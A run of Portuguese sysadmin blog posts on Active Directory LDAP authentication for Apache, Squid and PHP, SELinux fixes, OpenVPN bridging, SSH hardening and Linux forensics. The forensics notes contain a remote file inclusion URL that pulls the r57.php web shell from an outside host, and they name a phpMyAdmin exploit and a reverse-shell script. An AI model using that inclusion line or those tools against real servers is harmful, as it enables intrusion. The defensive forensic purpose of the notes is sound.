Tome como base um Windows 2003, com o domínio chamado “EverLinux” e um usuário rosca lá chamado “tcruz” somente para fazer as buscas no diretório da Microsoft. O Linux seria um Ubuntu ou Debian da vida.

Autenticando o Apache no AD

cd /etc/apache2/mods-enabled
ln -s ../mods-available/ldap.load .
ln -s ../mods-available/authnz_ldap.load .
 
<Directory "/var/www/protegido">
        AuthBasicProvider ldap
        AuthzLDAPAuthoritative off
        AuthName "Entre com a senha do AD"
        AuthType Basic
        AuthLDAPBindDN tcruz@everlinux
        AuthLDAPBindPassword senha_do_tcruz
        AuthLDAPURL ldap://10.10.20.20:3268/cn=users,dc=everlinux?sAMAccountName?one
        require user tcruz cmangini
        Allow from all
</Directory>

Autenticando o Squid no AD

...
acl bloqueados dstdom_regex -i "/etc/squid/block.txt"
http_access deny bloqueados
 
auth_param basic program /usr/lib/squid/ldap_auth -R -b "dc=everlinux" -D \
"cn=tiago cruz,cn=users,dc=everlinux" -w "senha_tcruz" -f sAMAccountName=%s -h 10.10.20.20
auth_param basic children 5
auth_param basic realm Autenticacao
auth_param basic credentialsttl 5 minutes
acl ldapauth proxy_auth REQUIRED
http_access allow ldapauth
...

Autenticando algo em PHP no AD

O exemplo será o software OneOrZero utilizado Help Desk:

# apt-get install php5-ldap
 
cat /var/www/helpdesk/configuration/website_settings.php
auth_method = "AD"
ldap_host = "10.10.20.20"
ldap_domain = "everlinux"
ldap_binddn = "CN=Tiago Cruz,CN=Users,DC=everlinux"
ldap_bindpwd = "senha_tcruz"
ldap_rootdn = "CN=Users,DC=everlinux"
ldap_searchattr = "sAMAccountName"
ldap_fname = "givenname"
ldap_lname = "sn"
ldap_uname = "samaccountname"
ldap_email_add = "mail"
ldap_office = "physicaldeliveryofficename"
ldap_phone = "telephonenumber"
ldap_context = "sAMAccountName"

Fazendo uma busca manualmente no diretório

# ldapsearch -LLL -h 10.10.20.20 -P 3 -x -D "cn=tiago cruz,cn=users,dc=everlinux" -W \
-b "cn=users,dc=everlinux"  "(&(&(objectClass=user)(objectCategory=person)) \
(sAMAccountName=tcruz))" 
Enter LDAP Password: 
dn: CN=Tiago Cruz,CN=Users,DC=everlinux
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Tiago Cruz
sn: Cruz
physicalDeliveryOfficeName: EverLinuxs Office
telephoneNumber: 1234-4321
givenName: Tiago
initials: ti
distinguishedName: CN=Tiago Cruz,CN=Users,DC=everlinux
instanceType: 4
whenCreated: 20090427110042.0Z
whenChanged: 20100406221357.0Z
displayName: Tiago Cruz
uSNCreated: 555987
memberOf:: Q049QWRtaW5zLiBkbyBkb23DrW5pbyxDTj1Vc2VycyxEQz1kb21pbmlvMjAwNw==
memberOf: CN=Administradores,CN=Builtin,DC=everlinux
uSNChanged: 2331137
name: Tiago Cruz
objectGUID:: 39teBl62JUWwzZz36nNICw==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 129150648344589017
lastLogoff: 0
lastLogon: 129150648382871002
pwdLastSet: 128853036428004858
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAR0LCqonS5XyzPF2T+AQAAA==
adminCount: 1
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: tcruz
sAMAccountType: 80530263368
userPrincipalName: tcruz@everlinux
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=everlinux
mail: tiagocruz AT everlinux.com

Espero que com estas dicas fique mais fácil para você centralizar a autenticação de seus serviços, caso seja necessário integrar com um LDAP proprietário.

O exemplo é um LAMP com Red Hat EL 5.3 com tudo funcionando, porém um daemon vsftpd que não quer subir quando o SELinux está rodando.

Para verificar se o problema é de fato o SELinux, basta desabilita-lo temporariamente:

[root@selinux tmp]# setenforce Permissive
 
[root@selinux tmp]# /etc/init.d/vsftpd start
Starting vsftpd for vsftpd:                                             [  OK  ]

Sem o SELinux, o VSFTP funciona normalmente, porém basta ativa-lo que mensagens estranhas começam a aparecer:

[root@selinux tmp]# setenforce enforcing
 
[root@selinux tmp]# /etc/init.d/vsftpd start
Starting vsftpd for vsftpd: /usr/sbin/vsftpd: error while loading shared libraries: libssl.so.6: failed to map segment from shared object: Permission denied
                                                          [FAILED]
[root@selinux ~] # tail /var/log/messages
Jul 27 15:01:44 selinux kernel: type=1107 audit(1248717704.011:1569): user pid=25449 uid=28 auid=4294967295 subj=system_u:system_r:init_t:s0 msg='avc:  denied  { shmempwd } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe="?" (sauid=28, hostname=?, addr=?, terminal=?)'
Jul 27 15:01:44 selinux kernel: type=1107 audit(1248717704.012:1570): user pid=25449 uid=28 auid=4294967295 subj=system_u:system_r:init_t:s0 msg='avc:  denied  { getpwd } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe="?" (sauid=28, hostname=?, addr=?, terminal=?)'
Jul 27 15:01:44 selinux kernel: type=1107 audit(1248717704.012:1571): user pid=25449 uid=28 auid=4294967295 subj=system_u:system_r:init_t:s0 msg='avc:  denied  { shmemgrp } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe="?" (sauid=28, hostname=?, addr=?, terminal=?)'
Jul 27 15:01:44 selinux kernel: type=1107 audit(1248717704.012:1572): user pid=25449 uid=28 auid=4294967295 subj=system_u:system_r:init_t:s0 msg='avc:  denied  { getgrp } for  scontext=system_u:system_r:initrc_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=nscd
Jul 27 15:01:44 selinux kernel: : exe="?" (sauid=28, hostname=?, addr=?, terminal=?)'
Jul 27 15:01:44 selinux kernel: type=1400 audit(1248717704.028:1573): avc:  denied  { execute } for  pid=25644 comm="vsftpd" path="/lib64/libssl.so.0.9.8e" dev=sda3 ino=1488241 scontext=system_u:system_r:ftpd_t:s0 tcontext=system_u:object_r:file_t:s0 tclass=file

Você pode observar que vários destes erros são referentes ao cache NSCD, e somente a última é de fato referente ao VSFTPd e suas bibiotecas compartilhadas.

Para ficar mais visível, vamos parar o o nscd e tratar como dois problemas distintos:

[root@selinux selinux]# /etc/init.d/nscd stop
Stopping nscd:                                             [  OK  ]
 
[root@selinux selinux]# /etc/init.d/vsftpd start
Starting vsftpd for vsftpd: /usr/sbin/vsftpd: error while loading shared libraries: libssl.so.6: failed to map segment from shared object: Permission denied
                                                          [FAILED]
[root@selinux selinux]# tail /var/log/messages
Jul 27 15:01:52 selinux kernel: type=1400 audit(1248717712.742:1574): avc:  denied  { execute } for  pid=25662 comm="vsftpd" path="/lib64/libssl.so.0.9.8e" dev=sda3 ino=1488241 scontext=system_u:system_r:ftpd_t:s0 tcontext=system_u:object_r:file_t:s0 tclass=file

Uma das coisas mais legais que foram adicionados ao RHEL5, é o daemon setroubleshoot que ajuda a traduzir esses erros monstros do selinux para algo que um humano consiga entender.

A ferramenta audit2allow permite pegar trechos de logs monstros que estão barrando em algo e converter para o mundo do Selinux, eliminando assim o problema em que você está preso:

[root@selinux tcruz]# grep vsftpd /var/log/messages | audit2allow -M vsftpd

Será gerado dois arquivos:
vsftpd.te = texto
vsftpd.pp = binário

O vsftpd.te conterá algo como:

module vsftp 1.0;
 
require {
	type ftpd_t;
	type file_t;
	class dir search;
	class file execute;
}
 
#============= ftpd_t ==============
allow ftpd_t file_t:dir search;
allow ftpd_t file_t:file execute;

Enquanto o nscd.te mostraria algo assim:

module nscd 1.0;
 
require {
	type init_t;
	type initrc_t;
	class nscd { shmemhost shmempwd getpwd shmemgrp gethost getgrp };
}
 
#============= initrc_t ==============
allow initrc_t init_t:nscd { shmemgrp getgrp shmempwd getpwd gethost shmemhost };

Se você estiver satisfeito com o resultado, poderá simplesmente importar o arquivo binário para junto das regras atuais do seu sistema:

[root@selinux tcruz]# semodule -i vsftpd.pp

Você pode fazer isso com o vsftpd e com nscd, até que seu problema seja de fato resolvido!

Pronto! Simples assim

Um outro comando interessante, é o getsebool que pode alterar várias variáveis boolean (on ou off, 0 ou 1, ligado ou desligado) pré-definidas como:

[root@selinux log]# setsebool -P ftp_home_dir 1
[root@selinux log]# setsebool -P allow_ftpd_full_access=1
 
[root@selinux log]# getsebool -a | grep ftp
allow_ftpd_anon_write --> off
allow_ftpd_full_access --> on
allow_ftpd_use_cifs --> off
allow_ftpd_use_nfs --> off
allow_tftp_anon_write --> off
ftp_home_dir --> on
ftpd_disable_trans --> off
ftpd_is_daemon --> on
httpd_enable_ftp_server --> off
tftpd_disable_trans --> off

Links Úteis para saber mais sobre o SELinux:

http://jczucco.blogspot.com/2009/07/apresentacao-sobre-selinux-no-fisl-10.html
http://magazine.redhat.com/2007/05/04/whats-new-in-selinux-for-red-hat-enterprise-linux-5/
http://fedoraproject.org/wiki/SELinux
http://docs.fedoraproject.org/selinux-faq-fc5/
http://fedoraproject.org/wiki/SELinux/Understanding

O artigo ainda está disponível na Web, e chama-se Implementando soluções de VPN. O que eu não sabia era que, embora o artigo seja meio antigo (Março de 2006) ele ainda continua funcional! Eu fui seguindo-o passo-a-passo, copiando e colando os comandos e em 15 minutos eu estava conectado à uma VPN usando roteamento com o device “tun”!

O modo de como esta VPN funciona é bem bacana, pois separa a sua rede “servidora” (ex: 192.168.0.x) da rede do cliente conectado via OpenVPN, criando uma rede como inválida qualquer como 10.8.0.x. O acesso de uma rede para a outra é feita via roteamento, descantando toda aquela nhaca de broadcast, netbios e etc.

Porém, desta vez a necessidade era diferente. Eu precisava realmente estar dentro da rede servidora, pois de dentro da rede era possível o acesso à uma outra rede, no caso uma LP com o México. A lambança era mais ou menos assim:

Rede_Mexico = 10.95.0.0/16
Rede_Servidor = 10.10.10.0/24
Rede_VPN = 10.8.0.0/24

Utilizando o device “tun” a rede VPN até chegava na rede do Servidor, porém, não chegava até a rede do México. Não duvido que seja possível de ser feito usando alguns roteamentos malucos, porém consegui resolver o problema apelando para bridges no Linux, usando o device “tap”.

O Carlos Morimoto havia postado um artigo chamado Criando bridges no OpenVPN do qual me foi muito útil, pois assim o OpenVPN conectava diretamente na rede 10.10.10.0/24 me enviando um IP que eu mesmo posso escolher via DHCP:

server-bridge 10.10.10.200 255.255.255.0 10.10.10.210 10.10.10.220

No exemplo acima, 10.10.10.200/24 será o IP do servidor, e 10.10.10.210 até 10.10.10.220 será o range oferecido aos clientes remotos que conectarem usando o OpenVPN.

Porém, para que tudo funcione a contento é necessário criar uma Bridge entre as interfaces eth0 e tap0, para que todo mundo se converse e se enxergue:

# brctl show
bridge name	bridge id		STP enabled	interfaces
br0		8000.00188be16805	no		eth0
							tap0

Neste caso, o IP não ficará nem na eth0 e nem na tap0, mas sim na br0:

# ifconfig 
br0       Link encap:Ethernet  HWaddr 00:28:0b:ef:58:75  
          inet addr:10.10.10.2  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: fe80::218:8bff:fee1:6805/64 Scope:Link

Bom, chega de teoria. Os links acima possuem todo o background necessário para que você entenda a coisa passo-a-passo. Vamos logo para o que interessa: Os arquivos de configuração:

Arquivo openvpn.conf no servidor?

# /etc/openvpn/openvpn.conf
# Objetivo: Clientes remotos conectarem no mesmo range da LAN local sem roteamento
proto udp
port 1194
 
# bridge utiliza a interface "tap" em vez da "tun"
# (o tap transmite pacotes de broadcast e o tun não)
dev tap0
 
# Faixa de IPs para os clientes
server-bridge 10.10.10.200 255.255.255.0 10.10.10.210 10.10.10.220
 
# No cliente eh necessário um
# route add -net 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 tap0
# para acessar a LP no Mexico 10.95.x.x
push "route 10.95.0.0 255.255.0.0 10.10.10.1"
 
# Compressão e persistência
comp-lzo
keepalive 10 120
ifconfig-pool-persist /etc/openvpn/ipp.txt
 
# Certificados
tls-server
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
 
# Logs e etc
status      /var/log/openvpn-status.log
log         /var/log/openvpn.log
log-append  /var/log/openvpn.log
verb 3
 
# Bridges para simular um mesmo switch entre a tap0 e a eth0
up /etc/openvpn/bridge-start
down /etc/openvpn/bridge-stop

Arquivo bridge-start:

#!/bin/bash
# /etc/openvpn/bridge-start
 
br="br0"
tap="tap0"
eth="eth0"
eth_ip="10.10.10.2"
eth_gw="10.10.10.1"
eth_netmask="255.255.255.0"
eth_broadcast="10.10.10.255"
 
for t in $tap; do
openvpn --mktun --dev $t
done
 
brctl addbr $br
brctl addif $br $eth
 
for t in $tap; do
brctl addif $br $t
done
 
for t in $tap; do
ifconfig $t 0.0.0.0 promisc up
done
 
ifconfig $eth 0.0.0.0 promisc up
ifconfig $br $eth_ip netmask $eth_netmask broadcast $eth_broadcast
#route add default gw $eth_gw dev $br
route add -net 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 br0
 
iptables -A INPUT -i tap0 -j ACCEPT
iptables -A INPUT -i br0 -j ACCEPT
iptables -A FORWARD -i br0 -j ACCEPT

Arquivo bridge-stop:

#!/bin/bash
# /etc/openvpn/bridge-stop
 
br="br0"
tap="tap0"
ifconfig $br down
brctl delbr $br
 
for t in $tap; do
openvpn --rmtun --dev $t
done 
 
route del -net 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 br0
ifdown eth0
ifup eth0
route add -net 10.95.0.0 netmask 255.255.0.0 gw 10.10.10.1 eth0

Arquivo no cliente:

# Cliente pode ser Linux ou Windows
remote 200.200.200.100
proto udp
port 1194
client
pull
dev tap
comp-lzo
keepalive 10 120
tls-client
ca ca.crt
cert tiagocruz.crt
key tiagocruz.key
ns-cert-type server 
verb 3

O resultado pode ser visto nos screnshoots abaixo:

Como você deve ter percebido, apenas alguns ajustes foram necessários nos scripts que iniciam e derrubam as bridges. A parte mais chata foi automatizar a criação de rotas estáticas nos clientes, para que não fosse necessário usar o “route add” em toda a conexão. A linha do “push” resolveu este problema, inclusive apontando a rota para um host que diferente do servidor de VPN, que é o padrão.

Segue uma screnshoot mostrando o antes, o durante e o depois do super device tap

Nos testes foram utilizadas as versões OpenVPN 2.1_rc7 x86_64-pc-linux-gnu no servidor rodando Ubuntu 8.04.3 LTS e o cliente OpenVPN 2.1_rc11 i486-pc-linux-gnu em um Ubuntu 9.04.

Também foi possível conectar usando a GUI do OpenVPN para Windows.

Abraços e até o próximo post!

- Sniffer de senhas em plain text;
- Ataque de brute-force no SSH;
- Proteção: Firewall, IPS e/ou TCP Wrappers;
- Segurança básica no sshd_config;
- Chaves RSA/DSA para acesso remoto;
- SSH buscando chaves no LDAP;
- Porque prevenir o acesso: Fork Bomb

Download do arquivo: seguranca_acesso_remoto_ssh.pdf
Ou no Slide Share: ssh-seguranca-no-acesso-remoto

# Forense em Linux – http://eriberto.pro.br
- Insert Linux Live CD Forense ~ 60 MB.
- Usar Sleuthkit – http://www.sleuthkit.org/sleuthkit/
- Usar ls -lua e ls -lta para ver a data de modificação dos arquivos
- Montar dump de imagem com “RO” e nunca passar fsck
- chkrootkit -r /forense
- rkhunter -c -r /forense
- freshclam; clamav -r /forense
- Usar strings + grep por data (apache) ou comandos (rm) em dd de disco/mem
- find /forense -mtime -2 => arquivos suspeitos alterados recentemente
- fopen de URL no PHP pode permitir download de um arquivo para o /var/tmp
- site.com/lalala?http://shellremota.com/r57.php
- r57.php te dá uma shell remota (push com resposta 200 nos logs – OK)

The Sleuth Kit (previously known as TASK) is a collection of UNIX-based
command line file system and media management forensic analysis tools.
The file system tools allow you to examine file systems of a suspect
computer in a non-intrusive fashion. Because the tools do not rely on
the operating system to process the file systems, deleted and hidden
content is shown.

# KVM – glommer AT redhat.com
- Sw virtual?
- GFS?
- guestfish = disaster recovery en VM (editar menu.lst e etc)

# Varnish – Squid like globo.com
- Usar o webpoligraph para gerar stress stest/ analise de resultados

# Selinux – jczucco AT gmail.com
- http://jczucco.blogspot.com/ e http://ulissescastro.wordpress.com/
- type_t = template para apache, mysql e etc
- setenforce 1; sestatus
- exploit no phpmyadmin – phpmyadminrce.sh
- backconnect – bc.pl para abrir conexão reversa

# Miguel Ciurcio Filho – http://www.ic.unicamp.br/~miguel
- HELO com IP deve ser negado, embora tenha RFC dizendo o contrário
- PTR e A register must match
- smtpd_client_connection_rate_limit = 15
- smtpd_client_connection_count_limit = 10
- smtpd_client_message_rate_limit = 25
- Usar somente a SpamHaus (best ever)
- smtpd_hard_error_limit = 3
- smtpd_soft_error_limit = 1
- smtpd_error_sleep_time = 20s
- FDQN com nome da máquina não vale

# DNS Curve – D.J. Bernstein
- High-Speed with Cryptography
- Sourceforce uses nginex
- Criptografia https difícil e lenta
- Would massively overload servers
- Confidentiality despite Espionage
- Integrity despite Corruption
- Availability despite Sabotage
- Uses 4096 bit encryption / signatures
- 50 bilion packet/day to 500 milion cliets with 2.4 Core 2 Quad
- Total load on .com:
- 38 bilion packet/day from 5 milion clients
- Crypto per group not per query
- DNSSEC uses 640-1024 bit RSA for fast signature verification
- DNSSEC on *.sec2.br foi quebrado 23/26 domínios “protegidos”

”
Possible t0rn v8 \(or variation\) rootkit installed

… o que fazer quando descobrimos que um servidor GNU/Linux foi comprometido?
Nesse post vou mostrar uma pequena análise de um servidor comprometido por uma rootkit.”

Lembre-se: O Chkrootkit e o RKHunter são reativos (após a nhaca).

Já o brasileiro OSSEC pode ser instalado antes da merda acontecer

Complementando:

Caso o servidor já esteja comprometido, o ideal é copiar alguns binários de uma máquina sadia (awk, cut, echo, egrep, find, head, id, ls, netstat, ps, strings, sed, uname) para um CD/DVD/Pendrive e pedir para que o chkrookit use estes binários, visto que os resultados que a máquina gerar pode não ser verdadeiro.

Rodaria o chkrootkit mais ou menos assim:

# ./chkrootkit -p /cdrom/bin

Ou então, usar um live-cd e alterar o rootdir:

# ./chkrootkit -r /mnt/sysrescue

De suas aulas/ palestras, anotei uma série de coisas interessantes para compartilhar aqui no blog com vocês

- O SleuthKit [1], que é uma ferramenta OpenSource (roda em Windows e Linux) que é o equivalente do EnCase [2] que custa mais ou menos U$ 20.000 a licença de uso.

- A RFC 3227 [3] que fala sobre “Guidelines for Evidence Collection and Archiving”

- Usar somente o MD5 não é seguro, pois há casos em que dois arquivos diferentes podem ter o mesmo hash, e que o mesmo pode acontecer com o SHA… o recomendável é fazer o mesmo que ferramentas como o AIDE [4] (Advanced Intrusion Detection Environment) fazem: usar ambos para não termos problemas

- É sempre bom ativar os Logs de Auditoria noss Shared Directories mais críticos e/ou importantes …

- Que o WotsIt [5] é um repositório sobre como funciona os arquivos que usamos no dia-a-dia, todos eles decifrados usando a engenharia reversa para facilitar a vida de novos programadores…

- Que logs são extremamente importantes, e que mante-los em uma máquina remota é uma ótima idéia, melhor ainda se ao invés de usar o syslog padrão do UNIX, usar o rsyslog [6] ou o systlog-ng que é capaz de usar pacotes TCP com criptografia (e ainda guardar as informações em banco de dados), ao invés de pacotes UDP que podem ser facilmente forjados…

- No firewall é importante diferenciar um DROP de um REJECT: O primeiro descarta o pacote silenciosamente, enquanto o segundo manda um aviso dizendo que o pacote não foi aceito…

- Que em bancos de dados muito grandes, é importante ter uma trigger que, por exemplo, emite um aviso/alerta/log/email quando alguma consulta utilizando 5000.000 linhas acontece, por exemplo (o que não não é normal);

- Que é possível fazer clones da memória RAM utilizando-se do dcfldd [7] (melhor do que o ‘dd’ padrão para análise forense) e usar o fatkit (The Forensic Analysis ToolKit) [8] para a posterior análise da mesma;

ex: ./dcfldd if=/dev/mem of=/media/ram_clone bs=512 conv=noerror

- Que em um Sistemas de Arquivos FAT, um bit E5 Hexadecimal (é mais ou menos um underscore nosso) quer dizer que o arquivo foi deletado;

- Que o MFT é o equivalente da FAT (tabela de alocação de arquivos) do NTFS;

- Que o WIPE [9] é capaz de destruir até 99% dos dados do seu HD, minimizando a chance de recupera-los mesmo com ferramentas especializadas. Item obrigatório no descarte de um HD, por exemplo.

- Última dica: O Helix Linux é uma distribuição baseada no Knoppix (portanto, um live-CD) já preparado para análise forense com todas essas ferramentas citadas acima e ainda mais!

Referências:

[1] http://sleuthkit.org/sleuthkit/download.php
[2] http://www.guidancesoftware.com/products/ef_index.asp
[3] http://www.ietf.org/rfc/rfc3227.txt
[4] http://www.cs.tut.fi/~rammer/aide.html
[5] http://www.wotsit.org/
[6] http://www.rsyslog.com/
[7] http://dcfldd.sourceforge.net/
[8] http://4tphi.net/fatkit/
[9] http://wipe.sourceforge.net/